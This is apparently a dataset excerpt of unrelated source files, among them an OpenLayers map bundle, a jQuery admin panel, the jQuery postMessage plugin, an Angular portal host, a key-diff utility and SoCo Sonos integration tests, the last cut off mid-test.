text
stringlengths 3
1.05M
|
|---|
(window.webpackJsonp=window.webpackJsonp||[]).push([[136],{365:function(e,a,n){"use strict";n.r(a);var r=n(3),w=n(63),o=n(5),c=n(2),s=n(4);new r.a({layers:[new o.a({source:new w.a({layer:"watercolor"})}),new o.a({source:new w.a({layer:"terrain-labels"})})],target:"map",view:new c.a({center:Object(s.g)([-122.416667,37.783333]),zoom:12})})}},[[365,0]]]);
//# sourceMappingURL=stamen.js.map
|
$(document).ready(function() {
// Debug Button
$('#btn-debug').click(function() {
$('#console-debug').toggleClass('hide');
});
// Delete Button
$('.btn-delete').on('click', function() {
var selected = $(this).attr('id');
var postid = selected.split('del_').join('');
if (confirm('Confirm delete?')) {
$.get('ajax/posts.php?id=' + postid);
$('#post_' + postid).remove();
}
});
// Sort Menu
$('#sort-nav').sortable({
cursor: 'move',
update: function() {
var order = $(this).sortable('serialize');
$.get('ajax/sort-list.php', order);
}
});
// Navigation
$('.nav-form').submit(function(event) {
var navData = $(this).serializeArray();
var navLabel = $('input[name=label]').val();
var navID = $('input[name=id]').val();
$.ajax({
url: 'ajax/navigation.php',
type: 'POST',
data: navData
}).done(function() {
$('#label_' + navID).html(navLabel);
});
event.preventDefault();
});
}); // END document.ready();
tinymce.init({
selector: ".editor",
theme: "modern",
plugins: [
"advlist autolink link image lists charmap print preview hr anchor pagebreak spellchecker",
"searchreplace wordcount visualblocks visualchars code fullscreen insertdatetime media nonbreaking",
"save table contextmenu directionality emoticons template paste textcolor"
],
content_css: "css/content.css",
toolbar: "insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | l ink image | print preview media fullpage | forecolor backcolor emoticons",
style_formats: [
{title: 'Bold text', inline: 'b'},
{title: 'Red text', inline: 'span', styles: {color: '#ff0000'}},
{title: 'Red header', block: 'h1', styles: {color: '#ff0000'}},
{title: 'Example 1', inline: 'span', classes: 'example1'},
{title: 'Example 2', inline: 'span', classes: 'example2'},
{title: 'Table styles'},
{title: 'Table row 1', selector: 'tr', classes: 'tablerow1'}
]
});
|
export default {
methods: {
genPickerButton (prop, value, content, staticClass = '') {
const active = this[prop] === value;
const click = event => {
event.stopPropagation();
this.$emit(`update:${prop}`, value);
};
return this.$createElement('div', {
staticClass: `picker__title__btn ${staticClass}`.trim(),
'class': { active },
on: active ? false : { click }
}, Array.isArray(content) ? content : [content]);
}
}
};
|
/*!
* jQuery postMessage - v0.5 - 9/11/2009
* http://benalman.com/projects/jquery-postmessage-plugin/
*
* Copyright (c) 2009 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
// Script: jQuery postMessage: Cross-domain scripting goodness
//
// *Version: 0.5, Last updated: 9/11/2009*
//
// Project Home - http://benalman.com/projects/jquery-postmessage-plugin/
// GitHub - http://github.com/cowboy/jquery-postmessage/
// Source - http://github.com/cowboy/jquery-postmessage/raw/master/jquery.ba-postmessage.js
// (Minified) - http://github.com/cowboy/jquery-postmessage/raw/master/jquery.ba-postmessage.min.js (0.9kb)
//
// About: License
//
// Copyright (c) 2009 "Cowboy" Ben Alman,
// Dual licensed under the MIT and GPL licenses.
// http://benalman.com/about/license/
//
// About: Examples
//
// This working example, complete with fully commented code, illustrates one
// way in which this plugin can be used.
//
// Iframe resizing - http://benalman.com/code/projects/jquery-postmessage/examples/iframe/
//
// About: Support and Testing
//
// Information about what version or versions of jQuery this plugin has been
// tested with and what browsers it has been tested in.
//
// jQuery Versions - 1.3.2
// Browsers Tested - Internet Explorer 6-8, Firefox 3, Safari 3-4, Chrome, Opera 9.
//
// About: Release History
//
// 0.5 - (9/11/2009) Improved cache-busting
// 0.4 - (8/25/2009) Initial release
(function($){
'$:nomunge'; // Used by YUI compressor.
// A few vars used in non-awesome browsers.
var interval_id,
last_hash,
cache_bust = 1,
// A var used in awesome browsers.
rm_callback,
// A few convenient shortcuts.
window = this,
FALSE = !1,
// Reused internal strings.
postMessage = 'postMessage',
addEventListener = 'addEventListener',
p_receiveMessage,
// I couldn't get window.postMessage to actually work in Opera 9.64!
has_postMessage = window[postMessage] && !$.browser.opera;
// Method: jQuery.postMessage
//
// This method will call window.postMessage if available, setting the
// targetOrigin parameter to the base of the target_url parameter for maximum
// security in browsers that support it. If window.postMessage is not available,
// the target window's location.hash will be used to pass the message. If an
// object is passed as the message param, it will be serialized into a string
// using the jQuery.param method.
//
// Usage:
//
// > jQuery.postMessage( message, target_url [, target ] );
//
// Arguments:
//
// message - (String) A message to be passed to the other frame.
// message - (Object) An object to be serialized into a params string, using
// the jQuery.param method.
// target_url - (String) The URL of the other frame this window is
// attempting to communicate with. This must be the exact URL (including
// any query string) of the other window for this script to work in
// browsers that don't support window.postMessage.
// target - (Object) A reference to the other frame this window is
// attempting to communicate with. If omitted, defaults to `parent`.
//
// Returns:
//
// Nothing.
$[postMessage] = function( message, target_url, target ) {
if ( !target_url ) { return; }
// Serialize the message if not a string. Note that this is the only real
// jQuery dependency for this script. If removed, this script could be
// written as very basic JavaScript.
message = typeof message === 'string' ? message : $.param( message );
// Default to parent if unspecified.
target = target || parent;
if ( has_postMessage ) {
// The browser supports window.postMessage, so call it with a targetOrigin
// set appropriately, based on the target_url parameter.
target[postMessage]( message, target_url.replace( /([^:]+:\/\/[^\/]+).*/, '$1' ) );
} else if ( target_url ) {
// The browser does not support window.postMessage, so set the location
// of the target to target_url#message. A bit ugly, but it works! A cache
// bust parameter is added to ensure that repeat messages trigger the
// callback.
target.location = target_url.replace( /#.*$/, '' ) + '#' + (+new Date) + (cache_bust++) + '&' + message;
}
};
// Method: jQuery.receiveMessage
//
// Register a single callback for either a window.postMessage call, if
// supported, or if unsupported, for any change in the current window
// location.hash. If window.postMessage is supported and source_origin is
// specified, the source window will be checked against this for maximum
// security. If window.postMessage is unsupported, a polling loop will be
// started to watch for changes to the location.hash.
//
// Note that for simplicity's sake, only a single callback can be registered
// at one time. Passing no params will unbind this event (or stop the polling
// loop), and calling this method a second time with another callback will
// unbind the event (or stop the polling loop) first, before binding the new
// callback.
//
// Also note that if window.postMessage is available, the optional
// source_origin param will be used to test the event.origin property. From
// the MDC window.postMessage docs: This string is the concatenation of the
// protocol and "://", the host name if one exists, and ":" followed by a port
// number if a port is present and differs from the default port for the given
// protocol. Examples of typical origins are https://example.org (implying
// port 443), http://example.net (implying port 80), and http://example.com:8080.
//
// Usage:
//
// > jQuery.receiveMessage( callback [, source_origin ] [, delay ] );
//
// Arguments:
//
// callback - (Function) This callback will execute whenever a <jQuery.postMessage>
// message is received, provided the source_origin matches. If callback is
// omitted, any existing receiveMessage event bind or polling loop will be
// canceled.
// source_origin - (String) If window.postMessage is available and this value
// is not equal to the event.origin property, the callback will not be
// called.
// source_origin - (Function) If window.postMessage is available and this
// function returns false when passed the event.origin property, the
// callback will not be called.
// delay - (Number) An optional zero-or-greater delay in milliseconds at
// which the polling loop will execute (for browser that don't support
// window.postMessage). If omitted, defaults to 100.
//
// Returns:
//
// Nothing!
$.receiveMessage = p_receiveMessage = function( callback, source_origin, delay ) {
if ( has_postMessage ) {
// Since the browser supports window.postMessage, the callback will be
// bound to the actual event associated with window.postMessage.
if ( callback ) {
// Unbind an existing callback if it exists.
rm_callback && p_receiveMessage();
// Bind the callback. A reference to the callback is stored for ease of
// unbinding.
rm_callback = function(e) {
if ( ( typeof source_origin === 'string' && e.origin !== source_origin )
|| ( $.isFunction( source_origin ) && source_origin( e.origin ) === FALSE ) ) {
return FALSE;
}
callback( e );
};
}
if ( window[addEventListener] ) {
window[ callback ? addEventListener : 'removeEventListener' ]( 'message', rm_callback, FALSE );
} else {
window[ callback ? 'attachEvent' : 'detachEvent' ]( 'onmessage', rm_callback );
}
} else {
// Since the browser sucks, a polling loop will be started, and the
// callback will be called whenever the location.hash changes.
interval_id && clearInterval( interval_id );
interval_id = null;
if ( callback ) {
delay = typeof source_origin === 'number'
? source_origin
: typeof delay === 'number'
? delay
: 100;
interval_id = setInterval(function(){
var hash = document.location.hash,
re = /^#?\d+&/;
if ( hash !== last_hash && re.test( hash ) ) {
last_hash = hash;
callback({ data: hash.replace( re, '' ) });
}
}, delay );
}
}
};
})(jQuery);
|
var menudata={children:[
{text:"Overview",url:"index.html"},
{text:"APIs",url:"globals.html",children:[
{text:"All",url:"globals.html",children:[
{text:"d",url:"globals.html#index_d"},
{text:"m",url:"globals.html#index_m"},
{text:"s",url:"globals.html#index_s"},
{text:"x",url:"globals.html#index_x"}]},
{text:"Functions",url:"globals_func.html",children:[
{text:"m",url:"globals_func.html#index_m"},
{text:"s",url:"globals_func.html#index_s"},
{text:"x",url:"globals_func.html#index_x"}]},
{text:"Typedefs",url:"globals_type.html"},
{text:"Macros",url:"globals_defs.html"}]},
{text:"File List",url:"files.html"}]}
|
/**
* @fileoverview added by tsickle
* @suppress {checkTypes,extraRequire,uselessCode} checked by tsc
*/
import { BasePortalHost } from './portal';
/**
* A PortalHost for attaching portals to an arbitrary DOM element outside of the Angular
* application context.
*
* This is the only part of the portal core that directly touches the DOM.
*/
export class DomPortalHost extends BasePortalHost {
/**
* @param {?} _hostDomElement
* @param {?} _componentFactoryResolver
* @param {?} _appRef
*/
constructor(_hostDomElement, _componentFactoryResolver, _appRef) {
super();
this._hostDomElement = _hostDomElement;
this._componentFactoryResolver = _componentFactoryResolver;
this._appRef = _appRef;
}
/**
* Attach the given ComponentPortal to DOM element using the ComponentFactoryResolver.
* @template T
* @param {?} portal Portal to be attached
* @param {?} newestOnTop
* @return {?}
*/
attachComponentPortal(portal, newestOnTop) {
/** @type {?} */
const componentFactory = this._componentFactoryResolver.resolveComponentFactory(portal.component);
/** @type {?} */
let componentRef;
// If the portal specifies a ViewContainerRef, we will use that as the attachment point
// for the component (in terms of Angular's component tree, not rendering).
// When the ViewContainerRef is missing, we use the factory to create the component directly
// and then manually attach the ChangeDetector for that component to the application (which
// happens automatically when using a ViewContainer).
componentRef = componentFactory.create(portal.injector);
// When creating a component outside of a ViewContainer, we need to manually register
// its ChangeDetector with the application. This API is unfortunately not yet published
// in Angular core. The change detector must also be deregistered when the component
// is destroyed to prevent memory leaks.
this._appRef.attachView(componentRef.hostView);
this.setDisposeFn(() => {
this._appRef.detachView(componentRef.hostView);
componentRef.destroy();
});
// At this point the component has been instantiated, so we move it to the location in the DOM
// where we want it to be rendered.
if (newestOnTop) {
this._hostDomElement.insertBefore(this._getComponentRootNode(componentRef), this._hostDomElement.firstChild);
}
else {
this._hostDomElement.appendChild(this._getComponentRootNode(componentRef));
}
return componentRef;
}
/**
* Gets the root HTMLElement for an instantiated component.
* @param {?} componentRef
* @return {?}
*/
_getComponentRootNode(componentRef) {
return (/** @type {?} */ (((/** @type {?} */ (componentRef.hostView))).rootNodes[0]));
}
}
if (false) {
/** @type {?} */
DomPortalHost.prototype._hostDomElement;
/** @type {?} */
DomPortalHost.prototype._componentFactoryResolver;
/** @type {?} */
DomPortalHost.prototype._appRef;
}
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZG9tLXBvcnRhbC1ob3N0LmpzIiwic291cmNlUm9vdCI6Im5nOi8vbmd4LXRvYXN0ci8iLCJzb3VyY2VzIjpbInBvcnRhbC9kb20tcG9ydGFsLWhvc3QudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6Ijs7OztBQU1BLE9BQU8sRUFBRSxjQUFjLEVBQW1CLE1BQU0sVUFBVSxDQUFDOzs7Ozs7O0FBUTNELE1BQU0sT0FBTyxhQUFjLFNBQVEsY0FBYzs7Ozs7O0lBQy9DLFlBQ1UsZUFBd0IsRUFDeEIseUJBQW1ELEVBQ25ELE9BQXVCO1FBRS9CLEtBQUssRUFBRSxDQUFDO1FBSkEsb0JBQWUsR0FBZixlQUFlLENBQVM7UUFDeEIsOEJBQXlCLEdBQXpCLHlCQUF5QixDQUEwQjtRQUNuRCxZQUFPLEdBQVAsT0FBTyxDQUFnQjtJQUdqQyxDQUFDOzs7Ozs7OztJQU1ELHFCQUFxQixDQUNuQixNQUEwQixFQUMxQixXQUFvQjs7Y0FFZCxnQkFBZ0IsR0FBRyxJQUFJLENBQUMseUJBQXlCLENBQUMsdUJBQXVCLENBQzdFLE1BQU0sQ0FBQyxTQUFTLENBQ2pCOztZQUNHLFlBQTZCO1FBRWpDLHVGQUF1RjtRQUN2RiwyRUFBMkU7UUFDM0UsNEZBQTRGO1FBQzVGLDJGQUEyRjtRQUMzRixxREFBcUQ7UUFDckQsWUFBWSxHQUFHLGdCQUFnQixDQUFDLE1BQU0sQ0FBQyxNQUFNLENBQUMsUUFBUSxDQUFDLENBQUM7UUFFeEQscUZBQXFGO1FBQ3JGLHVGQUF1RjtRQUN2RixvRkFBb0Y7UUFDcEYsd0NBQXdDO1FBQ3hDLElBQUksQ0FBQyxPQUFPLENBQUMsVUFBVSxDQUFDLFlBQVksQ0FBQyxRQUFRLENBQUMsQ0FBQztRQUUvQyxJQUFJLENBQUMsWUFBWSxDQUFDLEdBQUcsRUFBRTtZQUNyQixJQUFJLENBQUMsT0FBTyxDQUFDLFVBQVUsQ0FBQyxZQUFZLENBQUMsUUFBUSxDQUFDLENBQUM7WUFDL0MsWUFBWSxDQUFDLE9BQU8sRUFBRSxDQUFDO1FBQ3pCLENBQUMsQ0FBQyxDQUFDO1FBRUgsOEZBQThGO1FBQzlGLG1DQUFtQztRQUNuQyxJQUFJLFdBQVcsRUFBRTtZQUNmLElBQUksQ0FBQyxlQUFlLENBQUMsWUFBWSxDQUMvQixJQUFJLENBQUMscUJBQXFCLENBQUMsWUFBWSxDQUFDLEVBQ3hDLElBQUksQ0FBQyxlQUFlLENBQUMsVUFBVSxDQUNoQyxDQUFDO1NBQ0g7YUFBTTtZQUNMLElBQUksQ0FBQyxlQUFlLENBQUMsV0FBVyxDQUM5QixJQUFJLENBQUMscUJBQXFCLENBQUMsWUFBWSxDQUFDLENBQ3pDLENBQUM7U0FDSDtRQUVELE9BQU8sWUFBWSxDQUFDO0lBQ3RCLENBQUM7Ozs7OztJQUdPLHFCQUFxQixDQUFDLFlBQStCO1FBQzNELE9BQU8sbUJBQUEsQ0FBQyxtQkFBQSxZQUFZLENBQUMsUUFBUSxFQUF3QixDQUFDLENBQUMsU0FBUyxDQUFDLENBQUMsQ0FBQyxFQUFlLENBQUM7SUFDckYsQ0FBQztDQUNGOzs7SUExREcsd0NBQWdDOztJQUNoQyxrREFBMkQ7O0lBQzNELGdDQUErQiIsInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7XG4gIEFwcGxpY2F0aW9uUmVmLFxuICBDb21wb25lbnRGYWN0b3J5UmVzb2x2ZXIsXG4gIENvbXBvbmVudFJlZixcbiAgRW1iZWRkZWRWaWV3UmVmLFxufSBmcm9tICdAYW5ndWxhci9jb3JlJztcbmltcG9ydCB7IEJhc2VQb3J0YWxIb3N0LCBDb21wb25lbnRQb3J0YWwgfSBmcm9tICcuL3BvcnRhbCc7XG5cbi8qKlxuICogQSBQb3J0YWxIb3N0IGZvciBhdHRhY2hpbmcgcG9ydGFscyB0byBhbiBhcmJpdHJhcnkgRE9NIGVsZW1lbnQgb3V0c2lkZSBvZiB0aGUgQW5ndWxhclxuICogYXBwbGljYXRpb24gY29udGV4dC5cbiAqXG4gKiBUaGlzIGlzIHRoZSBvbmx5IHBhcnQgb2YgdGhlIHBvcnRhbCBjb3JlIHRoYXQgZGlyZWN0bHkgdG91Y2hlcyB0aGUgRE9NLlxuICovXG5leHBvcnQgY2xhc3MgRG9tUG9ydGFsSG9zdCBleHRlbmRzIEJhc2VQb3J0YWxIb3N0IHtcbiAgY29uc3RydWN0b3IoXG4gICAgcHJpdmF0ZSBfaG9zdERvbUVsZW1lbnQ6IEVsZW1lbnQsXG4gICAgcHJpdmF0ZSBfY29tcG9uZW50RmFjdG9yeVJlc29sdmVyOiBDb21wb25lbnRGYWN0b3J5UmVzb2x2ZXIsXG4gICAgcHJpdmF0ZSBfYXBwUmVmOiBBcHBsaWNhdGlvblJlZixcbiAgKSB7XG4gICAgc3VwZXIoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBBdHRhY2ggdGhlIGdpdmVuIENvbXBvbmVudFBvcnRhbCB0byBET00gZWxlbWVudCB1c2luZyB0aGUgQ29tcG9uZW50RmFjdG9yeVJlc29sdmVyLlxuICAgKiBAcGFyYW0gcG9ydGFsIFBvcnRhbCB0byBiZSBhdHRhY2hlZFxuICAgKi9cbiAgYXR0YWNoQ29tcG9uZW50UG9ydGFsPFQ+KFxuICAgIHBvcnRhbDogQ29tcG9uZW50UG9ydGFsPFQ+LFxuICAgIG5ld2VzdE9uVG9wOiBib29sZWFuLFxuICApOiBDb21wb25lbnRSZWY8VD4ge1xuICAgIGNvbnN0IGNvbXBvbmVudEZhY3RvcnkgPSB0aGlzLl9jb21wb25lbnRGYWN0b3J5UmVzb2x2ZXIucmVzb2x2ZUNvbXBvbmVudEZhY3RvcnkoXG4gICAgICBwb3J0YWwuY29tcG9uZW50LFxuICAgICk7XG4gICAgbGV0IGNvbXBvbmVudFJlZjogQ29tcG9uZW50UmVmPFQ+O1xuXG4gICAgLy8gSWYgdGhlIHBvcnRhbCBzcGVjaWZpZXMgYSBWaWV3Q29udGFpbmVyUmVmLCB3ZSB3aWxsIHVzZSB0aGF0IGFzIHRoZSBhdHRhY2htZW50IHBvaW50XG4gICAgLy8gZm9yIHRoZSBjb21wb25lbnQgKGluIHRlcm1zIG9mIEFuZ3VsYXIncyBjb21wb25lbnQgdHJlZSwgbm90IHJlbmRlcmluZykuXG4gICAgLy8gV2hlbiB0aGUgVmlld0NvbnRhaW5lclJlZiBpcyBtaXNzaW5nLCB3ZSB1c2UgdGhlIGZhY3RvcnkgdG8gY3JlYXRlIHRoZSBjb21wb25lbnQgZGlyZWN0bHlcbiAgICAvLyBhbmQgdGhlbiBtYW51YWxseSBhdHRhY2ggdGhlIENoYW5nZURldGVjdG9yIGZvciB0aGF0IGNvbXBvbmVudCB0byB0aGUgYXBwbGljYXRpb24gKHdoaWNoXG4gICAgLy8gaGFwcGVucyBhdXRvbWF0aWNhbGx5IHdoZW4gdXNpbmcgYSBWaWV3Q29udGFpbmVyKS5cbiAgICBjb21wb25lbnRSZWYgPSBjb21wb25lbnRGYWN0b3J5LmNyZWF0ZShwb3J0YWwuaW5qZWN0b3IpO1xuXG4gICAgLy8gV2hlbiBjcmVhdGluZyBhIGNvbXBvbmVudCBvdXRzaWRlIG9mIGEgVmlld0NvbnRhaW5lciwgd2UgbmVlZCB0byBtYW51YWxseSByZWdpc3RlclxuICAgIC8vIGl0cyBDaGFuZ2VEZXRlY3RvciB3aXRoIHRoZSBhcHBsaWNhdGlvbi4gVGhpcyBBUEkgaXMgdW5mb3J0dW5hdGVseSBub3QgeWV0IHB1Ymxpc2hlZFxuICAgIC8vIGluIEFuZ3VsYXIgY29yZS4gVGhlIGNoYW5nZSBkZXRlY3RvciBtdXN0IGFsc28gYmUgZGVyZWdpc3RlcmVkIHdoZW4gdGhlIGNvbXBvbmVudFxuICAgIC8vIGlzIGRlc3Ryb3llZCB0byBwcmV2ZW50IG1lbW9yeSBsZWFrcy5cbiAgICB0aGlzLl9hcHBSZWYuYXR0YWNoVmlldyhjb21wb25lbnRSZWYuaG9zdFZpZXcpO1xuXG4gICAgdGhpcy5zZXREaXNwb3NlRm4oKCkgPT4ge1xuICAgICAgdGhpcy5fYXBwUmVmLmRldGFjaFZpZXcoY29tcG9uZW50UmVmLmhvc3RWaWV3KTtcbiAgICAgIGNvbXBvbmVudFJlZi5kZXN0cm95KCk7XG4gICAgfSk7XG5cbiAgICAvLyBBdCB0aGlzIHBvaW50IHRoZSBjb21wb25lbnQgaGFzIGJlZW4gaW5zdGFudGlhdGVkLCBzbyB3ZSBtb3ZlIGl0IHRvIHRoZSBsb2NhdGlvbiBpbiB0aGUgRE9NXG4gICAgLy8gd2hlcmUgd2Ugd2FudCBpdCB0byBiZSByZW5kZXJlZC5cbiAgICBpZiAobmV3ZXN0T25Ub3ApIHtcbiAgICAgIHRoaXMuX2hvc3REb21FbGVtZW50Lmluc2VydEJlZm9yZShcbiAgICAgICAgdGhpcy5fZ2V0Q29tcG9uZW50Um9vdE5vZGUoY29tcG9uZW50UmVmKSxcbiAgICAgICAgdGhpcy5faG9zdERvbUVsZW1lbnQuZmlyc3RDaGlsZCxcbiAgICAgICk7XG4gICAgfSBlbHNlIHtcbiAgICAgIHRoaXMuX2hvc3REb21FbGVtZW50LmFwcGVuZENoaWxkKFxuICAgICAgICB0aGlzLl9nZXRDb21wb25lbnRSb290Tm9kZShjb21wb25lbnRSZWYpLFxuICAgICAgKTtcbiAgICB9XG5cbiAgICByZXR1cm4gY29tcG9uZW50UmVmO1xuICB9XG5cbiAgLyoqIEdldHMgdGhlIHJvb3QgSFRNTEVsZW1lbnQgZm9yIGFuIGluc3RhbnRpYXRlZCBjb21wb25lbnQuICovXG4gIHByaXZhdGUgX2dldENvbXBvbmVudFJvb3ROb2RlKGNvbXBvbmVudFJlZjogQ29tcG9uZW50UmVmPGFueT4pOiBIVE1MRWxlbWVudCB7XG4gICAgcmV0dXJuIChjb21wb25lbnRSZWYuaG9zdFZpZXcgYXMgRW1iZWRkZWRWaWV3UmVmPGFueT4pLnJvb3ROb2Rlc1swXSBhcyBIVE1MRWxlbWVudDtcbiAgfVxufVxuIl19
|
import _objectSpread from "@babel/runtime/helpers/esm/objectSpread2";
import _typeof from "@babel/runtime/helpers/esm/typeof";
export var STATUS_ADD = 'add';
export var STATUS_KEEP = 'keep';
export var STATUS_REMOVE = 'remove';
export var STATUS_REMOVED = 'removed';
export function wrapKeyToObject(key) {
var keyObj;
if (key && _typeof(key) === 'object' && 'key' in key) {
keyObj = key;
} else {
keyObj = {
key: key
};
}
return _objectSpread(_objectSpread({}, keyObj), {}, {
key: String(keyObj.key)
});
}
export function parseKeys() {
var keys = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
return keys.map(wrapKeyToObject);
}
export function diffKeys() {
var prevKeys = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var currentKeys = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
var list = [];
var currentIndex = 0;
var currentLen = currentKeys.length;
var prevKeyObjects = parseKeys(prevKeys);
var currentKeyObjects = parseKeys(currentKeys); // Check prev keys to insert or keep
prevKeyObjects.forEach(function (keyObj) {
var hit = false;
for (var i = currentIndex; i < currentLen; i += 1) {
var currentKeyObj = currentKeyObjects[i];
if (currentKeyObj.key === keyObj.key) {
// New added keys should add before current key
if (currentIndex < i) {
list = list.concat(currentKeyObjects.slice(currentIndex, i).map(function (obj) {
return _objectSpread(_objectSpread({}, obj), {}, {
status: STATUS_ADD
});
}));
currentIndex = i;
}
list.push(_objectSpread(_objectSpread({}, currentKeyObj), {}, {
status: STATUS_KEEP
}));
currentIndex += 1;
hit = true;
break;
}
} // If not hit, it means key is removed
if (!hit) {
list.push(_objectSpread(_objectSpread({}, keyObj), {}, {
status: STATUS_REMOVE
}));
}
}); // Add rest to the list
if (currentIndex < currentLen) {
list = list.concat(currentKeyObjects.slice(currentIndex).map(function (obj) {
return _objectSpread(_objectSpread({}, obj), {}, {
status: STATUS_ADD
});
}));
}
/**
* Merge same key when it remove and add again:
* [1 - add, 2 - keep, 1 - remove] -> [1 - keep, 2 - keep]
*/
var keys = {};
list.forEach(function (_ref) {
var key = _ref.key;
keys[key] = (keys[key] || 0) + 1;
});
var duplicatedKeys = Object.keys(keys).filter(function (key) {
return keys[key] > 1;
});
duplicatedKeys.forEach(function (matchKey) {
// Remove `STATUS_REMOVE` node.
list = list.filter(function (_ref2) {
var key = _ref2.key,
status = _ref2.status;
return key !== matchKey || status !== STATUS_REMOVE;
}); // Update `STATUS_ADD` to `STATUS_KEEP`
list.forEach(function (node) {
if (node.key === matchKey) {
// eslint-disable-next-line no-param-reassign
node.status = STATUS_KEEP;
}
});
});
return list;
}
|
# -*- coding: utf-8 -*-
# pylint: disable-msg=too-few-public-methods, redefined-outer-name, no-self-use
"""This file contains the classes used to perform integration tests on the
methods in the SoCo class. They access a real Sonos system.
PLEASE TAKE NOTE: All of these tests are designed to run on a Sonos system
without interfering with normal service. This means that they must not raise
the volume or must leave the player in the same state as they found it in. They
have been made this way since SoCo is developed by volunteers who in all
likelihood do not have a dedicated test system. Accordingly the tests must not
annoy the neighbors, and should return the system to its original state so that
the developers can listen to their music while coding, without having it
interrupted at every unit test!
PLEASE RESPECT THIS.
"""
from __future__ import unicode_literals
import time
import pytest
import soco as soco_module
from soco.data_structures import DidlMusicTrack
from soco.data_structures import DidlPlaylistContainer
from soco.exceptions import SoCoUPnPException
# Mark all tests in this module with the pytest custom "integration" marker so
# they can be selected or deselected as a whole, eg:
# py.test -m "integration"
# or
# py.test -m "no integration"
pytestmark = pytest.mark.integration
@pytest.yield_fixture(scope='session')
def soco():
"""Set up and tear down the soco fixture used by all tests."""
# Get the ip address from the command line, and create the soco object
# Only one is used per test session, hence the decorator
ip = pytest.config.option.IP
if ip is None:
pytest.fail("No ip address specified. Use the --ip option.")
soco = soco_module.SoCo(ip)
# Check the device is playing and has items in the queue
if len(soco.get_queue()) == 0:
pytest.fail('Integration tests on the SoCo class must be run '
'with at least 1 item in the playlist.')
transport_info = soco.get_current_transport_info()
if transport_info['current_transport_state'] != 'PLAYING':
pytest.fail('Integration tests on the SoCo class must be run '
'with the Sonos unit playing.')
# Save the device's state
state = {'queue': soco.get_queue(0, 1000),
'current_track_info': soco.get_current_track_info()}
# Yield the device to the test function
yield soco
# Tear down. Restore state
soco.stop()
soco.clear_queue()
for track in state['queue']:
soco.add_to_queue(track)
soco.play_from_queue(
int(state['current_track_info']['playlist_position']) - 1)
soco.seek(state['current_track_info']['position'])
soco.play()
def wait(interval=0.1):
"""Convenience function to adjust sleep interval for all tests."""
time.sleep(interval)
class TestVolume(object):
"""Integration tests for the volume property."""
valid_values = range(101)
@pytest.yield_fixture(autouse=True)
def restore_volume(self, soco):
"""A fixture which restores volume after each test in the class is
run."""
old = soco.volume
yield
soco.volume = old
wait()
def test_get_and_set(self, soco):
"""Test if the set functionlity works when given valid arguments."""
old = soco.volume
assert old in self.valid_values
if old == self.valid_values[0]:
new = old + 1
else:
new = old - 1
soco.volume = new
wait()
assert soco.volume == new
def test_invalid_arguments(self, soco):
"""Test if the set functionality coerces into range when given integers
outside of allowed range."""
# NOTE We don't test coerce from too large values, since that would
# put the unit at full volume
soco.volume = self.valid_values[0] - 1
wait()
assert soco.volume == 0
def test_set_0(self):
""" Test whether the volume can be set to 0. Regression test for:
https://github.com/rahims/soco/issues/29
"""
soco.volume = 0
wait()
assert soco.volume == 0
class TestBass(object):
"""Integration tests for the bass property.
This class implements a full boundary value test.
"""
valid_values = range(-10, 11)
@pytest.yield_fixture(autouse=True)
def restore_bass(self, soco):
"""A fixture which restores bass EQ after each test in the class is
run."""
old = soco.bass
yield
soco.bass = old
wait()
def test_get_and_set(self, soco):
"""Test if the set functionlity works when given valid arguments."""
assert soco.bass in self.valid_values
# Values on the boundaries of the valid equivalence partition
for value in [self.valid_values[0], self.valid_values[-1]]:
soco.bass = value
wait()
assert soco.bass == value
def test_invalid_arguments(self, soco):
"""Test if the set functionality produces the expected "coerce in
range" functionality when given a value outside of its range."""
# Values on the boundaries of the two invalid equivalence partitions
soco.bass = self.valid_values[0] - 1
wait()
assert soco.bass == self.valid_values[0]
soco.bass = self.valid_values[-1] + 1
wait()
assert soco.bass == self.valid_values[-1]
class TestTreble(object):
"""Integration tests for the treble property.
This class implements a full boundary value test.
"""
valid_values = range(-10, 11)
@pytest.yield_fixture(autouse=True)
def restore_treble(self, soco):
"""A fixture which restores treble EQ after each test in the class is
run."""
old = soco.treble
yield
soco.treble = old
wait()
def test_get_and_set(self, soco):
"""Test if the set functionlity works when given valid arguments."""
assert soco.treble in self.valid_values
# Values on the boundaries of the valid equivalence partition
for value in [self.valid_values[0], self.valid_values[-1]]:
soco.treble = value
wait()
assert soco.treble == value
def test_invalid_arguments(self, soco):
"""Test if the set functionality produces the expected "coerce in
range" functionality when given a value outside its range."""
# Values on the boundaries of the two invalid equivalence partitions
soco.treble = self.valid_values[0] - 1
wait()
assert soco.treble == self.valid_values[0]
soco.treble = self.valid_values[-1] + 1
wait()
assert soco.treble == self.valid_values[-1]
class TestMute(object):
"""Integration test for the mute method."""
def test(self, soco):
"""Test if the mute method works."""
old = soco.mute
assert old is False, ('The unit should not be muted when running '
'the unit tests.')
soco.mute = True
wait()
new = soco.mute
assert new is True
soco.mute = False
wait()
assert soco.mute is False
class TestGetCurrentTransportInfo(object):
"""Integration test for the get_current_transport_info method."""
# The values in this list must be kept up to date with the values in
# the test doc string
transport_info_keys = sorted(['current_transport_status',
'current_transport_state',
'current_transport_speed'])
def test(self, soco):
""" Test if the return value is a dictionary that contains the keys:
current_transport_status, current_transport_state,
current_transport_speed and that values have been found for all keys,
i.e. they are not None.
"""
transport_info = soco.get_current_transport_info()
assert isinstance(transport_info, dict)
assert self.transport_info_keys == sorted(transport_info.keys())
for _, value in transport_info.items():
assert value is not None
class TestTransport(object):
"""Integration tests for transport methods (play, pause etc)."""
def test_pause_and_play(self, soco):
"""Test if the pause and play methods work."""
soco.pause()
wait(1)
on_pause = soco.get_current_transport_info()['current_transport_state']
assert on_pause == 'PAUSED_PLAYBACK'
soco.play()
wait(1)
on_play = soco.get_current_transport_info()['current_transport_state']
assert on_play == 'PLAYING'
def test_stop(self, soco):
"""Test if the stop method works."""
soco.stop()
wait(1)
new = soco.get_current_transport_info()['current_transport_state']
assert new == 'STOPPED'
soco.play()
wait(1)
on_play = soco.get_current_transport_info()['current_transport_state']
